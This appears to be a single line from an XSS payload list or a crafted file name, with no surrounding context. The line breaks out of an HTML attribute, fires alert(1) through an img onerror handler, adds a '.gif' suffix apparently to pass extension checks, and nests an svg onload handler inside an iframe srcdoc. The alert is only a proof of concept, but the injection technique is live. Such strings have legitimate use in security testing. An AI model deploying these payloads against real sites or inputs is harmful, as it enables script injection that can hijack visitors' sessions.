"><img src=1 onerror=alert(1)>.gif> <iframe srcdoc=<svg/onload=alert(1)>>